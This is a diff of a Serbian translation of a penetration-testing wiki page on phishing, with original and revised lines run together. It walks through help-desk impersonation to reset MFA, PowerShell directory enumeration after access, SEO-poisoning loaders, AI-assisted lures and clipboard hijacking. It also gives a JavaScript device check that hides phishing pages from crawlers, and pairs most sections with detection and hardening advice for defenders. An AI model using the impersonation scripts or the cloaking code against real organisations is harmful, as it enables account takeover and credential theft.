* Poziv, Teams ili chat help-deska dok se predstavljate kao meta (često sa **lažiranim caller-ID** ili **kloniranim glasom**). * Telefon, Teams ili chat sa help-deskom dok se predstavljate kao cilj (često sa **spoofed caller-ID** ili **cloned voice**).
* Dajte ranije prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju. * Pružite prethodno prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju.
* Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovani mobilni broj. * Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovanom broju mobilnog.
3. Odmah nakon pristupa (≤60 min u realnim slučajevima) 3. Immediate post-access actions (≤60 min u realnim slučajevima)
* Uspostavite pristup kroz bilo koji web SSO portal. * Uspostavite foothold preko bilo kog web SSO porta.
* Enumerišite AD / AzureAD koristeći ugrađene alate (bez drop-ovanja binarnih fajlova): * Enumerišite AD / AzureAD koristeći ugrađene alate (bez postavljanja binarnih fajlova):
```powershell ```powershell
# list directory groups & privileged roles # list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to # Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local> Get-MgUserRegisteredDevice -UserId <user@corp.local>
``` ```
* Lateralan pokret koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelist-i u okruženju. * Lateralno kretanje koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelisti u okruženju.
### Detekcija i mitigacija ### Detection & Mitigation
* Tretirajte help-desk identity recovery kao **privilegovan proces** zahtevajte step-up auth i odobrenje menadžera. * Tretirajte help-desk identity recovery kao **privileged operation** zahtevajte step-up auth i odobrenje menadžera.
* Implementirajte **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alertuju na: * Rasporedite **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alarmiraju na:
* Promenu MFA metode + autentikaciju sa novog uređaja / geolokacije. * Promena MFA metode + autentikacija sa novog uređaja / geolokacije.
* Odmahšnja elevacija istog principala (user → admin). * Momentalno eleviranje istog principala (user → admin).
* Snimajte help-desk pozive i primenite **call-back na već registrovani broj** pre bilo kakvog reseta. * Snimajte help-desk pozive i zahtevajte **call-back na već registrovan broj** pre bilo kakvog reseta.
* Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne dobijaju automatski** visoke privilegovane tokene. * Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne nasleđuju automatski** visokopriovilegovane tokene.
--- ---
## Decepcija u velikom obimu SEO Poisoning & “ClickFix” kampanje ## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
Commodity ekipe pokrivaju troškove high-touch operacija masovnim napadima koji pretvaraju **pretraživače i ad network-e u kanal isporuke**. Commodity timovi kompenzuju troškove high-touch operacija masovnim napadima koji pretvaraju **search engines & ad networks u kanal isporuke**.
1. **SEO poisoning / malvertising** ističe lažni rezultat poput `chromium-update[.]site` u vrhu search oglasa. 1. **SEO poisoning / malvertising** gura lažni rezultat poput `chromium-update[.]site` na vrh pretrage i oglasa.
2. Žrtva preuzme mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42: 2. Žrtva skida mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42:
* `RedLine stealer` * `RedLine stealer`
* `Lumma stealer` * `Lumma stealer`
* `Lampion Trojan` * `Lampion Trojan`
3. Loader eksfiltrira cookie-je pretraživača + baze kredencijala, zatim povlači **silent loader** koji odlučuje *u realnom vremenu* da li da deploy-uje: 3. Loader eksfiltrira cookies iz browsera + credential DBs, potom povlači **silent loader** koji odlučuje *u realnom vremenu* da li da deploy-uje:
* RAT (npr. AsyncRAT, RustDesk) * RAT (npr. AsyncRAT, RustDesk)
* ransomware / wiper * ransomware / wiper
* komponentu za persistenciju (registry Run ključ + scheduled task) * persistence komponentu (registry Run key + scheduled task)
### Saveti za hardening ### Hardening tips
* Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na email. * Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na email.
* Ograničite instalaciju softvera na potpisane MSI / Store pakete, zabranite izvršavanje `HTA`, `ISO`, `VBS` politikom. * Ograničite instalaciju softvera na potpisane MSI / Store pakete, zabranite izvršavanje `HTA`, `ISO`, `VBS` politikom.
* Monitorišite child procese browser-a koji otvaraju instalere: * Monitorišite child procese browsera koji otvaraju instalere:
```yaml ```yaml
- parent_image: /Program Files/Google/Chrome/* - parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe and child_image: *\\*.exe
``` ```
* Lovite na LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`). * Tražite LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`).
--- ---
## AIpoboljšane phishing operacije ## AI-Enhanced Phishing Operations
Napadači sada povezuju **LLM & voice-clone API-je** za potpuno personalizovane mamce i interakciju u realnom vremenu. Napadači sada povezuju **LLM & voice-clone APIs** za potpuno personalizovane mamce i interakciju u realnom vremenu.
| Sloj | Primer upotrebe od strane threat aktora | | Layer | Primer upotrebe od strane threat actor-a |
|------|----------------------------------------| |-------|------------------------------------------|
| Automatizacija | Generisanje i slanje >100k emailova / SMS-ova sa randomizovanim porukama i tracking linkovima. | |Automation|Generisanje i slanje >100k mejlova / SMS sa nasumično variranim tekstom i tracking linkovima.|
| Generativni AI | Proizvodnja jedinstvenih emailova koji referenciraju javne M&A, interne šale sa društvenih mreža; deep-fake glas CEO-a u callback prevari. | |Generative AI|Kreiranje *jedinstvenih* mejlova koji referenciraju javne M&A događaje, interne šale sa društvenih mreža; deep-fake CEO glas u callback prevari.|
| Agentic AI | Autonomna registracija domena, scrape open-source intel-a, kreiranje sledećih mejlova kada žrtva klikne ali ne pošalje kredencijale. | |Agentic AI|Autonomno registruje domene, scrape-uje open-source intel, kreira sledeće mejlove kada žrtva klikne ali ne pošalje kredencijale.|
**Odbrana:** **Defence:**
• Dodajte **dinamičke banere** koji ističu poruke poslate iz nepouzdanih automatizovanih izvora (preko ARC/DKIM anomalija). • Dodajte **dinamične banere** koji ističu poruke poslate iz nepouzdanih automatizacija (na osnovu ARC/DKIM anomalija).
• Implementirajte **voice-biometric challenge phrases** za visokorizične telefonske zahteve. • Implementirajte **voice-biometric challenge phrases** za high-risk telefonske zahteve.
• Kontinuirano simulirajte AIgenerisane mamce u programima svesti statični šabloni su zastareli. • Kontinuirano simulirajte AI-generisane mamce u programima svesti statički templatei su zastareli.
See also agentic browsing abuse for credential phishing: See also agentic browsing abuse for credential phishing:
@ -526,18 +526,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
--- ---
## MFA Fatigue / Push Bombing varijanta Forsirani reset ## MFA Fatigue / Push Bombing Variant Forced Reset
Pored klasičnog push-bombinga, operateri jednostavno **forsiraju novu MFA registraciju** tokom poziva help-deska, poništavajući korisnikov postojeći token. Bilo koji naredni prompt za prijavu izgleda legitimno za žrtvu. Pored klasičnog push-bombinga, operatori jednostavno **prisile novu MFA registraciju** tokom help-desk poziva, poništavajući korisnikov postojeći token. Bilo koji naredni login prompt izgleda legitimno žrtvi.
```text ```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail [Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device [Attacker] → Completes new TOTP enrolment on their own device
``` ```
Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**. Pratite AzureAD/AWS/Okta događaje gde **`deleteMFA` + `addMFA`** dogode **u roku od nekoliko minuta sa iste IP adrese**.
## Clipboard Hijacking / Pastejacking ## Clipboard Hijacking / Pastejacking
Napadači mogu neprimetno kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice i zatim prevariti korisnika da ih zalepi u **Win + R**, **Win + X** ili u prozor terminala, čime se izvršava proizvoljni kod bez ikakvog preuzimanja ili priloga. Napadači mogu tiho kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice, a zatim prevariti korisnika da ih nalepi u **Win + R**, **Win + X** ili terminal prozor, izvršavajući arbitrarni kod bez ikakvog preuzimanja ili priloga.
{{#ref}} {{#ref}}
@ -551,6 +553,33 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md mobile-phishing-malicious-apps.md
{{#endref}} {{#endref}}
### Mobilegated phishing to evade crawlers/sandboxes
Operatori sve češće stavljaju svoje phishing flows iza jednostavne provere uređaja tako da desktop crawleri nikada ne dođu do krajnjih stranica. Uobičajen obrazac je mali skript koji testira touch-capable DOM i šalje rezultat na server endpoint; nonmobile klijenti dobijaju HTTP 500 (ili praznu stranicu), dok mobile korisnici dobijaju ceo flow.
Minimal client snippet (typical logic):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` logika (pojednostavljeno):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Često zapaženo ponašanje servera:
- Postavlja session cookie tokom prvog učitavanja.
- Prihvata `POST /detect {"is_mobile":true|false}`.
- Vraća 500 (ili placeholder) na naredne GET zahteve kada je `is_mobile=false`; prikazuje phishing samo ako je `true`.
Heuristike za otkrivanje i detekciju:
- urlscan upit: `filename:"detect_device.js" AND page.status:500`
- Web telemetrija: sekvenca `GET /static/detect_device.js``POST /detect` → HTTP 500 za ne-mobilne uređaje; legitimne putanje mobilnih žrtava vraćaju 200 sa narednim HTML/JS.
- Blokirajte ili detaljno proverite stranice koje uslovljavaju sadržaj isključivo na `ontouchstart` ili sličnim proverama uređaja.
Saveti za odbranu:
- Pokrenite crawlers sa mobile-like fingerprints i omogućite JS da otkrijete gated content.
- Postavite alarm za sumnjive 500 odgovore koji slede nakon `POST /detect` na novoregistrovanim domenima.
## References ## References
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@ -558,5 +587,6 @@ mobile-phishing-malicious-apps.md
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) - [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}